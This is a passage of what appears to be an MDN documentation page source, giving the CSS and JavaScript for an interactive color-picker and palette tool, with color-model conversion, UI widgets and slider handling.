{ + cursor: pointer; + border-color: #DDD; + box-shadow: inset 0px 0px 5px 0px #CCC; +} + +#picker-samples #add-icon:before, +#picker-samples #add-icon:after { + content: ""; + position: absolute; + background-color: #EEE; + box-shadow: 0 0 1px 0 #EEE; +} + +#picker-samples #add-icon:before { + width: 70%; + height: 16%; + top: 42%; + left: 15%; +} + +#picker-samples #add-icon:after { + width: 16%; + height: 70%; + top: 15%; + left: 42%; +} + +#picker-samples #add-icon:hover:before, +#picker-samples #add-icon:hover:after { + background-color: #DDD; + box-shadow: 0 0 1px 0 #DDD; +} + +/** + * Controls + */ + +#controls { + width: 110px; + padding: 10px; + float: right; +} + +#controls #picker-switch { + text-align: center; + float: left; +} + +#controls .icon { + width: 48px; + height: 48px; + margin: 10px 0; + background-repeat: no-repeat; + background-position: center; + border: 1px solid #DDD; + display: table; + float: left; +} + +#controls .icon:hover { + cursor: pointer; +} + +#controls .picker-icon { + background-image: url('https://mdn.mozillademos.org/files/6081/picker.png'); +} + +#controls #void-sample { + margin-right: 10px; + background-image: url('https://mdn.mozillademos.org/files/6087/void.png'); + background-position: center left; +} + +#controls #void-sample[data-active='true'] { + border-color: #CCC; + background-position: center right; +} + +#controls .switch { + width: 106px; + padding: 1px; + border: 1px solid #CCC; + font-size: 14px; + text-align: center; + line-height: 24px; + overflow: hidden; + float: left; +} + +#controls .switch:hover { + cursor: pointer; +} + +#controls .switch > * { + width: 50%; + padding: 2px 0; + background-color: #EEE; + float: left; +} + +#controls .switch [data-active='true'] { + color: #FFF; + background-image: url('https://mdn.mozillademos.org/files/6025/grain.png'); + background-color: #777; +} + +/** + * Trash Can + */ + +#delete { + width: 100%; + height: 94px; + background-color: #DDD; + background-image: url('https://mdn.mozillademos.org/files/6025/grain.png'); + background-repeat: repeat; + + text-align: center; + color: #777; + + position: relative; + float: right; +} + +#delete #trash-can { + width: 80%; + height: 80%; + border: 2px dashed #FFF; + border-radius: 5px; + background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center; + + position: absolute; + top: 10%; + left: 10%; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + + transition: all 0.2s; +} + +#delete[drag-state='enter'] { + background-color: #999; +} + +/** + * Color Theme + */ + +#color-theme { + margin: 0 8px 0 0; + border: 1px solid #EEE; + display: inline-block; + float: right; +} + +#color-theme .box { + width: 80px; + height: 92px; + float: left; +} + +/** + * Color info box + */ +#color-info { + width: 360px; + float: left; +} + +#color-info .title { + width: 100%; + padding: 15px; + font-size: 18px; + text-align: center; + background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png'); + background-repeat:no-repeat; + background-position: center left 30%; +} + +#color-info .copy-container { + position: absolute; + top: -100%; +} + +#color-info .property { + min-width: 280px; + height: 30px; + margin: 10px 0; + text-align: center; + line-height: 30px; +} + +#color-info .property > * { + float: left; +} + +#color-info .property .type { + width: 60px; + height: 100%; + padding: 0 16px 0 0; + text-align: right; +} + +#color-info .property .value { + width: 200px; + height: 100%; + padding: 0 10px; + font-family: "Segoe UI", Arial, Helvetica, sans-serif; + font-size: 16px; + color: #777; + text-align: center; + background-color: #FFF; + border: none; +} + +#color-info .property .value:hover { + color: #37994A; +} + +#color-info .property .value:hover + .copy { + background-position: center right; +} + +#color-info .property .copy { + width: 24px; + height: 100%; + padding: 0 5px; + background-color: #FFF; + background-image: url('https://mdn.mozillademos.org/files/6073/copy.png'); + background-repeat: no-repeat; + background-position: center left; + border-left: 1px solid #EEE; + text-align: right; + float: left; +} + +#color-info .property .copy:hover { + background-position: center right; +} + + +/** + * Color Palette + */ + +#palette { + width: 1000px; + padding: 10px 0; + background-image: url('https://mdn.mozillademos.org/files/6025/grain.png'); + background-repeat: repeat; + background-color: #EEE; + color: #777; + + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} + +#color-palette { + width: 640px; + font-family: Arial, Helvetica, sans-serif; + color: #777; + float: left; +} + +#color-palette .container { + width: 100%; + height: 50px; + line-height: 50px; + overflow: hidden; + float: left; + transition: all 0.5s; +} + +#color-palette .container > * { + float: left; +} + +#color-palette .title { + width: 100px; + padding: 0 10px; + text-align: right; + line-height: inherit; +} + +#color-palette .palette { + width: 456px; + height: 38px; + margin: 3px; + padding: 3px; + display: table; + background-color: #FFF; +} + +#color-palette .palette .sample { + width: 30px; + height: 30px; + margin: 3px; + position: relative; + border: 1px solid #DDD; + float: left; + transition: all 0.2s; +} + +#color-palette .palette .sample:hover { + cursor: pointer; + border-color: #BBB; + transform: scale(1.15); + border-radius: 3px; +} + +#color-palette .controls { +} + +#color-palette .controls > * { + float: left; +} + +#color-palette .controls > *:hover { + cursor: pointer; +} + +#color-palette .controls .lock { + width: 24px; + height: 24px; + margin: 10px; + padding: 3px; + background-image: url('https://mdn.mozillademos.org/files/6077/lock.png'); + background-repeat: no-repeat; + background-position: bottom right; +} + +#color-palette .controls .lock:hover { + /*background-image: url('images/unlocked-hover.png');*/ + background-position: bottom left; +} + +#color-palette .controls .lock[locked-state='true'] { + /*background-image: url('images/locked.png');*/ + background-position: top left ; +} + +#color-palette .controls .lock[locked-state='true']:hover { + /*background-image: url('images/lock-hover.png');*/ + background-position: top right; +} + +/** + * Canvas + */ + +#canvas { + width: 100%; + height: 300px; + min-height: 250px; + border-top: 1px solid #DDD; + background-image: url('https://mdn.mozillademos.org/files/6025/grain.png'); + background-repeat: repeat; + position: relative; + float: left; +} + +#canvas[data-tutorial='drop'] { + text-align: center; + font-size: 30px; + color: #777; +} + +#canvas[data-tutorial='drop']:before { + content: "Drop colors here to compare"; + width: 40%; + padding: 30px 9% 70px 11%; + + background-image: url('https://mdn.mozillademos.org/files/6075/drop.png'); + background-repeat: no-repeat; + background-position: left 35px top 60%; + + text-align: right; + + border: 3px dashed rgb(221, 221, 221); + border-radius: 15px; + + position: absolute; + top: 50px; + left: 20%; +} + +#canvas[data-tutorial='drop']:after { + content: "adjust, change or modify"; + width: 40%; + font-size: 24px; + position: absolute; + top: 130px; + left: 32%; + z-index: 2; +} + +#canvas [data-tutorial='dblclick'] { + background-color: #999 !important; +} + +#canvas [data-tutorial='dblclick']:before { + content: "double click to activate"; + width: 80px; + color: #FFF; + position: absolute; + top: 10%; + left: 20%; + z-index: 2; +} + +#canvas .sample { + width: 100px; + height: 100px; + min-width: 20px; + min-height: 20px; + position: absolute; + border: 1px solid rgba(255, 255, 255, 0.3); +} + +#canvas .sample:hover { + cursor: move; +} + +#canvas .sample[data-active='true']:after { + content: ""; + position: absolute; + background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat; + width: 100%; + height: 12px; + top: -12px; + z-index: 2; +} + +#canvas .sample:hover > * { + cursor: pointer; + display: block !important; +} + +#canvas .sample .resize-handle { + display: none; +} + +#canvas .sample .pick { + width: 10px; + height: 10px; + margin: 5px; + background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat; + position: absolute; + top: 0; + left: 0; + display: none; +} + +#canvas .sample .delete { + width: 10px; + height: 10px; + margin: 5px; + background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat; + position: absolute; + top: 0; + right: 0; + display: none; +} + + +/** + * Canvas controls + */ + +#canvas .toggle-bg { + width: 16px; + height: 16px; + margin: 5px; + background: url("images/canvas-controls.png") center left no-repeat; + position: absolute; + top: 0; + right: 0; +} + +#canvas .toggle-bg:hover { + cursor: pointer; +} + +#canvas[data-bg='true'] { + background: none; +} + +#canvas[data-bg='true'] .toggle-bg { + background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat; +} + +#zindex { + height: 20px; + margin: 5px; + font-size: 16px; + position: absolute; + opacity: 0; + top: -10000px; + left: 0; + color: #777; + float: left; + transition: opacity 1s; +} + +#zindex input { + border: 1px solid #DDD; + font-size: 16px; + color: #777; +} + +#zindex .ui-input-slider-info { + width: 60px; +} + +#zindex[data-active='true'] { + top: 0; + opacity: 1; +} + +</pre> + +<h3 id="JavaScript_Content">JavaScript Content</h3> + +<pre class="brush: js notranslate">'use strict'; + +var UIColorPicker = (function UIColorPicker() { + + function getElemById(id) { + return document.getElementById(id); + } + + var subscribers = []; + var pickers = []; + + /** + * RGBA Color class + * + * HSV/HSB and HSL (hue, saturation, value / brightness, lightness) + * @param hue 0-360 + * @param saturation 0-100 + * @param value 0-100 + * @param lightness 0-100 + */ + + function Color(color) { + + if(color instanceof Color === true) { + this.copy(color); + return; + } + + this.r = 0; + this.g = 0; + this.b = 0; + this.a = 1; + this.hue = 0; + this.saturation = 0; + this.value = 0; + this.lightness = 0; + this.format = 'HSV'; + } + + function RGBColor(r, g, b) { + var color = new Color(); + color.setRGBA(r, g, b, 1); + return color; + } + + function RGBAColor(r, g, b, a) { + var color = new Color(); + color.setRGBA(r, g, b, a); + return color; + } + + function HSVColor(h, s, v) { + var color = new Color(); + color.setHSV(h, s, v); + return color; + } + + function HSVAColor(h, s, v, a) { + var color = new Color(); + color.setHSV(h, s, v); + color.a = a; + return color; + } + + function HSLColor(h, s, l) { + var color = new Color(); + color.setHSL(h, s, l); + return color; + } + + function HSLAColor(h, s, l, a) { + var color = new Color(); + color.setHSL(h, s, l); + color.a = a; + return color; + } + + Color.prototype.copy = function copy(obj) { + if(obj instanceof Color !== true) { + console.log('Typeof parameter not Color'); + return; + } + + this.r = obj.r; + this.g = obj.g; + this.b = obj.b; + this.a = obj.a; + this.hue = obj.hue; + this.saturation = obj.saturation; + this.value = obj.value; + this.format = '' + obj.format; + this.lightness = obj.lightness; + }; + + Color.prototype.setFormat = function setFormat(format) { + if (format === 'HSV') + this.format = 'HSV'; + if (format === 'HSL') + this.format = 'HSL'; + }; + + /*========== Methods to set Color Properties ==========*/ + + Color.prototype.isValidRGBValue = function isValidRGBValue(value) { + return (typeof(value) === 'number' && isNaN(value) === false && + value >= 0 && value <= 255); + }; + + Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) { + if (this.isValidRGBValue(red) === false || + this.isValidRGBValue(green) === false || + this.isValidRGBValue(blue) === false) + return; + + this.r = red | 0; + this.g = green | 0; + this.b = blue | 0; + + if (this.isValidRGBValue(alpha) === true) + this.a = alpha | 0; + }; + + Color.prototype.setByName = function setByName(name, value) { + if (name === 'r' || name === 'g' || name === 'b') { + if(this.isValidRGBValue(value) === false) + return; + + this[name] = value; + this.updateHSX(); + } + }; + + Color.prototype.setHSV = function setHSV(hue, saturation, value) { + this.hue = hue; + this.saturation = saturation; + this.value = value; + this.HSVtoRGB(); + }; + + Color.prototype.setHSL = function setHSL(hue, saturation, lightness) { + this.hue = hue; + this.saturation = saturation; + this.lightness = lightness; + this.HSLtoRGB(); + }; + + Color.prototype.setHue = function setHue(value) { + if (typeof(value) !== 'number' || isNaN(value) === true || + value < 0 || value > 359) + return; + this.hue = value; + this.updateRGB(); + }; + + Color.prototype.setSaturation = function setSaturation(value) { + if (typeof(value) !== 'number' || isNaN(value) === true || + value < 0 || value > 100) + return; + this.saturation = value; + this.updateRGB(); + }; + + Color.prototype.setValue = function setValue(value) { + if (typeof(value) !== 'number' || isNaN(value) === true || + value < 0 || value > 100) + return; + this.value = value; + this.HSVtoRGB(); + }; + + Color.prototype.setLightness = function setLightness(value) { + if (typeof(value) !== 'number' || isNaN(value) === true || + value < 0 || value > 100) + return; + this.lightness = value; + this.HSLtoRGB(); + }; + + Color.prototype.setHexa = function setHexa(value) { + var valid = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value); + + if (valid !== true) + return; + + if (value[0] === '#') + value = value.slice(1, value.length); + + if (value.length === 3) + value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3'); + + this.r = parseInt(value.substr(0, 2), 16); + this.g = parseInt(value.substr(2, 2), 16); + this.b = parseInt(value.substr(4, 2), 16); + + this.alpha = 1; + this.RGBtoHSV(); + }; + + /*========== Conversion Methods ==========*/ + + Color.prototype.convertToHSL = function convertToHSL() { + if (this.format === 'HSL') + return; + + this.setFormat('HSL'); + this.RGBtoHSL(); + }; + + Color.prototype.convertToHSV = function convertToHSV() { + if (this.format === 'HSV') + return; + + this.setFormat('HSV'); + this.RGBtoHSV(); + }; + + /*========== Update Methods ==========*/ + + Color.prototype.updateRGB = function updateRGB() { + if (this.format === 'HSV') { + this.HSVtoRGB(); + return; + } + + if (this.format === 'HSL') { + this.HSLtoRGB(); + return; + } + }; + + Color.prototype.updateHSX = function updateHSX() { + if (this.format === 'HSV') { + this.RGBtoHSV(); + return; + } + + if (this.format === 'HSL') { + this.RGBtoHSL(); + return; + } + }; + + Color.prototype.HSVtoRGB = function HSVtoRGB() { + var sat = this.saturation / 100; + var value = this.value / 100; + var C = sat * value; + var H = this.hue / 60; + var X = C * (1 - Math.abs(H % 2 - 1)); + var m = value - C; + var precision = 255; + + C = (C + m) * precision | 0; + X = (X + m) * precision | 0; + m = m * precision | 0; + + if (H >= 0 && H < 1) { this.setRGBA(C, X, m); return; } + if (H >= 1 && H < 2) { this.setRGBA(X, C, m); return; } + if (H >= 2 && H < 3) { this.setRGBA(m, C, X); return; } + if (H >= 3 && H < 4) { this.setRGBA(m, X, C); return; } + if (H >= 4 && H < 5) { this.setRGBA(X, m, C); return; } + if (H >= 5 && H < 6) { this.setRGBA(C, m, X); return; } + }; + + Color.prototype.HSLtoRGB = function HSLtoRGB() { + var sat = this.saturation / 100; + var light = this.lightness / 100; + var C = sat * (1 - Math.abs(2 * light - 1)); + var H = this.hue / 60; + var X = C * (1 - Math.abs(H % 2 - 1)); + var m = light - C/2; + var precision = 255; + + C = (C + m) * precision | 0; + X = (X + m) * precision | 0; + m = m * precision | 0; + + if (H >= 0 && H < 1) { this.setRGBA(C, X, m); return; } + if (H >= 1 && H < 2) { this.setRGBA(X, C, m); return; } + if (H >= 2 && H < 3) { this.setRGBA(m, C, X); return; } + if (H >= 3 && H < 4) { this.setRGBA(m, X, C); return; } + if (H >= 4 && H < 5) { this.setRGBA(X, m, C); return; } + if (H >= 5 && H < 6) { this.setRGBA(C, m, X); return; } + }; + + Color.prototype.RGBtoHSV = function RGBtoHSV() { + var red = this.r / 255; + var green = this.g / 255; + var blue = this.b / 255; + + var cmax = Math.max(red, green, blue); + var cmin = Math.min(red, green, blue); + var delta = cmax - cmin; + var hue = 0; + var saturation = 0; + + if (delta) { + if (cmax === red ) { hue = ((green - blue) / delta); } + if (cmax === green ) { hue = 2 + (blue - red) / delta; } + if (cmax === blue ) { hue = 4 + (red - green) / delta; } + if (cmax) saturation = delta / cmax; + } + + this.hue = 60 * hue | 0; + if (this.hue < 0) this.hue += 360; + this.saturation = (saturation * 100) | 0; + this.value = (cmax * 100) | 0; + }; + + Color.prototype.RGBtoHSL = function RGBtoHSL() { + var red = this.r / 255; + var green = this.g / 255; + var blue = this.b / 255; + + var cmax = Math.max(red, green, blue); + var cmin = Math.min(red, green, blue); + var delta = cmax - cmin; + var hue = 0; + var saturation = 0; + var lightness = (cmax + cmin) / 2; + var X = (1 - Math.abs(2 * lightness - 1)); + + if (delta) { + if (cmax === red ) { hue = ((green - blue) / delta); } + if (cmax === green ) { hue = 2 + (blue - red) / delta; } + if (cmax === blue ) { hue = 4 + (red - green) / delta; } + if (cmax) saturation = delta / X; + } + + this.hue = 60 * hue | 0; + if (this.hue < 0) this.hue += 360; + this.saturation = (saturation * 100) | 0; + this.lightness = (lightness * 100) | 0; + }; + + /*========== Get Methods ==========*/ + + Color.prototype.getHexa = function getHexa() { + var r = this.r.toString(16); + var g = this.g.toString(16); + var b = this.b.toString(16); + if (this.r < 16) r = '0' + r; + if (this.g < 16) g = '0' + g; + if (this.b < 16) b = '0' + b; + var value = '#' + r + g + b; + return value.toUpperCase(); + }; + + Color.prototype.getRGBA = function getRGBA() { + + var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b; + var a = ''; + var v = ''; + var x = parseFloat(this.a); + if (x !== 1) { + a = 'a'; + v = ', ' + x; + } + + var value = 'rgb' + a + rgb + v + ')'; + return value; + }; + + Color.prototype.getHSLA = function getHSLA() { + if (this.format === 'HSV') { + var color = new Color(this); + color.setFormat('HSL'); + color.updateHSX(); + return color.getHSLA(); + } + + var a = ''; + var v = ''; + var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%'; + var x = parseFloat(this.a); + if (x !== 1) { + a = 'a'; + v = ', ' + x; + } + + var value = 'hsl' + a + hsl + v + ')'; + return value; + }; + + Color.prototype.getColor = function getColor() { + if (this.a | 0 === 1) + return this.getHexa(); + return this.getRGBA(); + }; + + /*=======================================================================*/ + /*=======================================================================*/ + + /*========== Capture Mouse Movement ==========*/ + + var setMouseTracking = function setMouseTracking(elem, callback) { + elem.addEventListener('mousedown', function(e) { + callback(e); + document.addEventListener('mousemove', callback); + }); + + document.addEventListener('mouseup', function(e) { + document.removeEventListener('mousemove', callback); + }); + }; + + /*====================*/ + // Color Picker Class + /*====================*/ + + function ColorPicker(node) { + this.color = new Color(); + this.node = node; + this.subscribers = []; + + var type = this.node.getAttribute('data-mode'); + var topic = this.node.getAttribute('data-topic'); + + this.topic = topic; + this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV'; + this.color.setFormat(this.picker_mode); + + this.createPickingArea(); + this.createHueArea(); + + this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this)); + this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this)); + this.newInputComponent('V', 'value', this.inputChangeValue.bind(this)); + this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this)); + + this.createAlphaArea(); + + this.newInputComponent('R', 'red', this.inputChangeRed.bind(this)); + this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this)); + this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this)); + + this.createPreviewBox(); + this.createChangeModeButton(); + + this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this)); + this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this)); + + this.setColor(this.color); + pickers[topic] = this; + } + + /*************************************************************************/ + // Function for generating the color-picker + /*************************************************************************/ + + ColorPicker.prototype.createPickingArea = function createPickingArea() { + var area = document.createElement('div'); + var picker = document.createElement('div'); + + area.className = 'picking-area'; + picker.className = 'picker'; + + this.picking_area = area; + this.color_picker = picker; + setMouseTracking(area, this.updateColor.bind(this)); + + area.appendChild(picker); + this.node.appendChild(area); + }; + + ColorPicker.prototype.createHueArea = function createHueArea() { + var area = document.createElement('div'); + var picker = document.createElement('div'); + + area.className = 'hue'; + picker.className ='slider-picker'; + + this.hue_area = area; + this.hue_picker = picker; + setMouseTracking(area, this.updateHueSlider.bind(this)); + + area.appendChild(picker); + this.node.appendChild(area); + }; + + ColorPicker.prototype.createAlphaArea = function createAlphaArea() { + var area = document.createElement('div'); + var mask = document.createElement('div'); + var picker = document.createElement('div'); + + area.className = 'alpha'; + mask.className = 'alpha-mask'; + picker.className = 'slider-picker'; + + this.alpha_area = area; + this.alpha_mask = mask; + this.alpha_picker = picker; + setMouseTracking(area, this.updateAlphaSlider.bind(this)); + + area.appendChild(mask); + mask.appendChild(picker); + this.node.appendChild(area); + }; + + ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) { + var preview_box = document.createElement('div'); + var preview_color = document.createElement('div'); + + preview_box.className = 'preview'; + preview_color.className = 'preview-color'; + + this.preview_color = preview_color; + + preview_box.appendChild(preview_color); + this.node.appendChild(preview_box); + }; + + ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) { + var wrapper = document.createElement('div'); + var input = document.createElement('input'); + var info = document.createElement('span'); + + wrapper.className = 'input'; + wrapper.setAttribute('data-topic', topic); + info.textContent = title; + info.className = 'name'; + input.setAttribute('type', 'text'); + + wrapper.appendChild(info); + wrapper.appendChild(input); + this.node.appendChild(wrapper); + + input.addEventListener('change', onChangeFunc); + input.addEventListener('click', function() { + this.select(); + }); + + this.subscribe(topic, function(value) { + input.value = value; + }); + }; + + ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() { + + var button = document.createElement('div'); + button.className = 'switch_mode'; + button.addEventListener('click', function() { + if (this.picker_mode === 'HSV') + this.setPickerMode('HSL'); + else + this.setPickerMode('HSV'); + + }.bind(this)); + + this.node.appendChild(button); + }; + + /*************************************************************************/ + // Updates properties of UI elements + /*************************************************************************/ + + ColorPicker.prototype.updateColor = function updateColor(e) { + var x = e.pageX - this.picking_area.offsetLeft; + var y = e.pageY - this.picking_area.offsetTop; + var picker_offset = 5; + + // width and height should be the same + var size = this.picking_area.clientWidth; + + if (x > size) x = size; + if (y > size) y = size; + if (x < 0) x = 0; + if (y < 0) y = 0; + + var value = 100 - (y * 100 / size) | 0; + var saturation = x * 100 / size | 0; + + if (this.picker_mode === 'HSV') + this.color.setHSV(this.color.hue, saturation, value); + if (this.picker_mode === 'HSL') + this.color.setHSL(this.color.hue, saturation, value); + + this.color_picker.style.left = x - picker_offset + 'px'; + this.color_picker.style.top = y - picker_offset + 'px'; + + this.updateAlphaGradient(); + this.updatePreviewColor(); + + this.notify('value', value); + this.notify('lightness', value); + this.notify('saturation', saturation); + + this.notify('red', this.color.r); + this.notify('green', this.color.g); + this.notify('blue', this.color.b); + this.notify('hexa', this.color.getHexa()); + + notify(this.topic, this.color); + }; + + ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) { + var x = e.pageX - this.hue_area.offsetLeft; + var width = this.hue_area.clientWidth; + + if (x < 0) x = 0; + if (x > width) x = width; + + // TODO 360 => 359 + var hue = ((359 * x) / width) | 0; + // if (hue === 360) hue = 359; + + this.updateSliderPosition(this.hue_picker, x); + this.setHue(hue); + }; + + ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) { + var x = e.pageX - this.alpha_area.offsetLeft; + var width = this.alpha_area.clientWidth; + + if (x < 0) x = 0; + if (x > width) x = width; + + this.color.a = (x / width).toFixed(2); + + this.updateSliderPosition(this.alpha_picker, x); + this.updatePreviewColor(); + + this.notify('alpha', this.color.a); + notify(this.topic, this.color); + }; + + ColorPicker.prototype.setHue = function setHue(value) { + this.color.setHue(value); + + this.updatePickerBackground(); + this.updateAlphaGradient(); + this.updatePreviewColor(); + + this.notify('red', this.color.r); + this.notify('green', this.color.g); + this.notify('blue', this.color.b); + this.notify('hexa', this.color.getHexa()); + this.notify('hue', this.color.hue); + + notify(this.topic, this.color); + }; + + // Updates when one of Saturation/Value/Lightness changes + ColorPicker.prototype.updateSLV = function updateSLV() { + this.updatePickerPosition(); + this.updateAlphaGradient(); + this.updatePreviewColor(); + + this.notify('red', this.color.r); + this.notify('green', this.color.g); + this.notify('blue', this.color.b); + this.notify('hexa', this.color.getHexa()); + + notify(this.topic, this.color); + }; + + /*************************************************************************/ + // Update positions of various UI elements + /*************************************************************************/ + + ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() { + var size = this.picking_area.clientWidth; + var value = 0; + var offset = 5; + + if (this.picker_mode === 'HSV') + value = this.color.value; + if (this.picker_mode === 'HSL') + value = this.color.lightness; + + var x = (this.color.saturation * size / 100) | 0; + var y = size - (value * size / 100) | 0; + + this.color_picker.style.left = x - offset + 'px'; + this.color_picker.style.top = y - offset + 'px'; + }; + + ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) { + elem.style.left = Math.max(pos - 3, -2) + 'px'; + }; + + ColorPicker.prototype.updateHuePicker = function updateHuePicker() { + var size = this.hue_area.clientWidth; + var offset = 1; + var pos = (this.color.hue * size / 360 ) | 0; + this.hue_picker.style.left = pos - offset + 'px'; + }; + + ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() { + var size = this.alpha_area.clientWidth; + var offset = 1; + var pos = (this.color.a * size) | 0; + this.alpha_picker.style.left = pos - offset + 'px'; + }; + + /*************************************************************************/ + // Update background colors + /*************************************************************************/ + + ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() { + var nc = new Color(this.color); + nc.setHSV(nc.hue, 100, 100); + this.picking_area.style.backgroundColor = nc.getHexa(); + }; + + ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() { + this.alpha_mask.style.backgroundColor = this.color.getHexa(); + }; + + ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() { + this.preview_color.style.backgroundColor = this.color.getColor(); + }; + + /*************************************************************************/ + // Update input elements + /*************************************************************************/ + + ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) { + var value = parseInt(e.target.value); + this.setHue(value); + this.updateHuePicker(); + }; + + ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) { + var value = parseInt(e.target.value); + this.color.setSaturation(value); + e.target.value = this.color.saturation; + this.updateSLV(); + }; + + ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) { + var value = parseInt(e.target.value); + this.color.setValue(value); + e.target.value = this.color.value; + this.updateSLV(); + }; + + ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) { + var value = parseInt(e.target.value); + this.color.setLightness(value); + e.target.value = this.color.lightness; + this.updateSLV(); + }; + + ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) { + var value = parseInt(e.target.value); + this.color.setByName('r', value); + e.target.value = this.color.r; + this.setColor(this.color); + }; + + ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) { + var value = parseInt(e.target.value); + this.color.setByName('g', value); + e.target.value = this.color.g; + this.setColor(this.color); + }; + + ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) { + var value = parseInt(e.target.value); + this.color.setByName('b', value); + e.target.value = this.color.b; + this.setColor(this.color); + }; + + ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) { + var value = parseFloat(e.target.value); + + if (typeof value === 'number' && isNaN(value) === false && + value >= 0 && value <= 1) + this.color.a = value.toFixed(2); + + e.target.value = this.color.a; + this.updateAlphaPicker(); + }; + + ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) { + var value = e.target.value; + this.color.setHexa(value); + this.setColor(this.color); + }; + + /*************************************************************************/ + // Internal Pub/Sub + /*************************************************************************/ + + ColorPicker.prototype.subscribe = function subscribe(topic, callback) { + this.subscribers[topic] = callback; + }; + + ColorPicker.prototype.notify = function notify(topic, value) { + if (this.subscribers[topic]) + this.subscribers[topic](value); + }; + + /*************************************************************************/ + // Set Picker Properties + /*************************************************************************/ + + ColorPicker.prototype.setColor = function setColor(color) { + if(color instanceof Color !== true) { + console.log('Typeof parameter not Color'); + return; + } + + if (color.format !== this.picker_mode) { + color.setFormat(this.picker_mode); + color.updateHSX(); + } + + this.color.copy(color); + this.updateHuePicker(); + this.updatePickerPosition(); + this.updatePickerBackground(); + this.updateAlphaPicker(); + this.updateAlphaGradient(); + this.updatePreviewColor(); + + this.notify('red', this.color.r); + this.notify('green', this.color.g); + this.notify('blue', this.color.b); + + this.notify('hue', this.color.hue); + this.notify('saturation', this.color.saturation); + this.notify('value', this.color.value); + this.notify('lightness', this.color.lightness); + + this.notify('alpha', this.color.a); + this.notify('hexa', this.color.getHexa()); + notify(this.topic, this.color); + }; + + ColorPicker.prototype.setPickerMode = function setPickerMode(mode) { + if (mode !== 'HSV' && mode !== 'HSL') + return; + + this.picker_mode = mode; + this.node.setAttribute('data-mode', this.picker_mode); + this.setColor(this.color); + }; + + /*************************************************************************/ + // UNUSED + /*************************************************************************/ + + var setPickerMode = function setPickerMode(topic, mode) { + if (pickers[topic]) + pickers[topic].setPickerMode(mode); + }; + + var setColor = function setColor(topic, color) { + if (pickers[topic]) + pickers[topic].setColor(color); + }; + + var getColor = function getColor(topic) { + if (pickers[topic]) + return new Color(pickers[topic].color); + }; + + var subscribe = function subscribe(topic, callback) { + if (subscribers[topic] === undefined) + subscribers[topic] = []; + + subscribers[topic].push(callback); + }; + + var unsubscribe = function unsubscribe(callback) { + subscribers.indexOf(callback); + subscribers.splice(index, 1); + }; + + var notify = function notify(topic, value) { + if (subscribers[topic] === undefined || subscribers[topic].length === 0) + return; + + var color = new Color(value); + for (var i in subscribers[topic]) + subscribers[topic][i](color); + }; + + var init = function init() { + var elem = document.querySelectorAll('.ui-color-picker'); + var size = elem.length; + for (var i = 0; i < size; i++) + new ColorPicker(elem[i]); + }; + + return { + init : init, + Color : Color, + RGBColor : RGBColor, + RGBAColor : RGBAColor, + HSVColor : HSVColor, + HSVAColor : HSVAColor, + HSLColor : HSLColor, + HSLAColor : HSLAColor, + setColor : setColor, + getColor : getColor, + subscribe : subscribe, + unsubscribe : unsubscribe, + setPickerMode : setPickerMode + }; + +})(); + + + +/** + * UI-SlidersManager + */ + +var InputSliderManager = (function InputSliderManager() { + + var subscribers = {}; + var sliders = []; + + var InputComponent = function InputComponent(obj) { + var input = document.createElement('input'); + input.setAttribute('type', 'text'); + input.style.width = 50 + obj.precision * 10 + 'px'; + + input.addEventListener('click', function(e) { + this.select(); + }); + + input.addEventListener('change', function(e) { + var value = parseFloat(e.target.value); + + if (isNaN(value) === true) + setValue(obj.topic, obj.value); + else + setValue(obj.topic, value); + }); + + return input; + }; + + var SliderComponent = function SliderComponent(obj, sign) { + var slider = document.createElement('div'); + var startX = null; + var start_value = 0; + + slider.addEventListener("click", function(e) { + document.removeEventListener("mousemove", sliderMotion); + setValue(obj.topic, obj.value + obj.step * sign); + }); + + slider.addEventListener("mousedown", function(e) { + startX = e.clientX; + start_value = obj.value; + document.body.style.cursor = "e-resize"; + + document.addEventListener("mouseup", slideEnd); + document.addEventListener("mousemove", sliderMotion); + }); + + var slideEnd = function slideEnd(e) { + document.removeEventListener("mousemove", sliderMotion); + document.body.style.cursor = "auto"; + slider.style.cursor = "pointer"; + }; + + var sliderMotion = function sliderMotion(e) { + slider.style.cursor = "e-resize"; + var delta = (e.clientX - startX) / obj.sensivity | 0; + var value = delta * obj.step 